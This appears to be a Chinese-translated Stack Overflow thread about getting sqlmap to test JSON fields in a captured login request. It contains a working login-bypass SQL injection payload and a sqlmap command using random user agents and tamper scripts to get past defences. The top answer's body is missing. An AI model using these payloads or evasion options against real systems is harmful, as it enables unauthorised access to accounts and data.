SQLMAP - 将JSON数据作为请求体提交

11

你好,我想在登录表单中进行SQL注入。

我使用BurpSuite拦截请求:

POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close

{"username”:"user",”password”:"pass"}

使用:

sqlmap -u requestFile

(其中requestFile是使用Burp截取的请求内容)

sqlmap无法找到可注入的password字段。

我确定它是可注入的,因为如果我输入以下密码:

' OR 1=1; -- -

我可以使用任何用户名登录

也尝试使用以下方式:

{"username”:*,”password”:*}

但是没有运气。

我做错了什么?


这个问题可能更适合于http://security.stackexchange.com/,但由于它有点处于中间地带,我不会在这里投票关闭。不过你可能会在那里得到更多的答案。 - Gabor Lengyel
已发布在 security.stackexchange.com - ronIDX
3个回答

16

0
Ogglas给出的答案真的很好,我只想提一下,如果你进一步研究sqlmap的选项,例如--random-agent、--time-sec和-tamper,这些都可以帮助你更有效地绕过一些防御措施 ;)
sqlmap -r sqli.txt --time-sec=5 --random-agent -tamper=between,space2comment

-1

6
欢迎来到StackOverflow。这个答案应该通过添加代码项的描述或解释为什么这个解决方案有效来改进。 - Steven

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接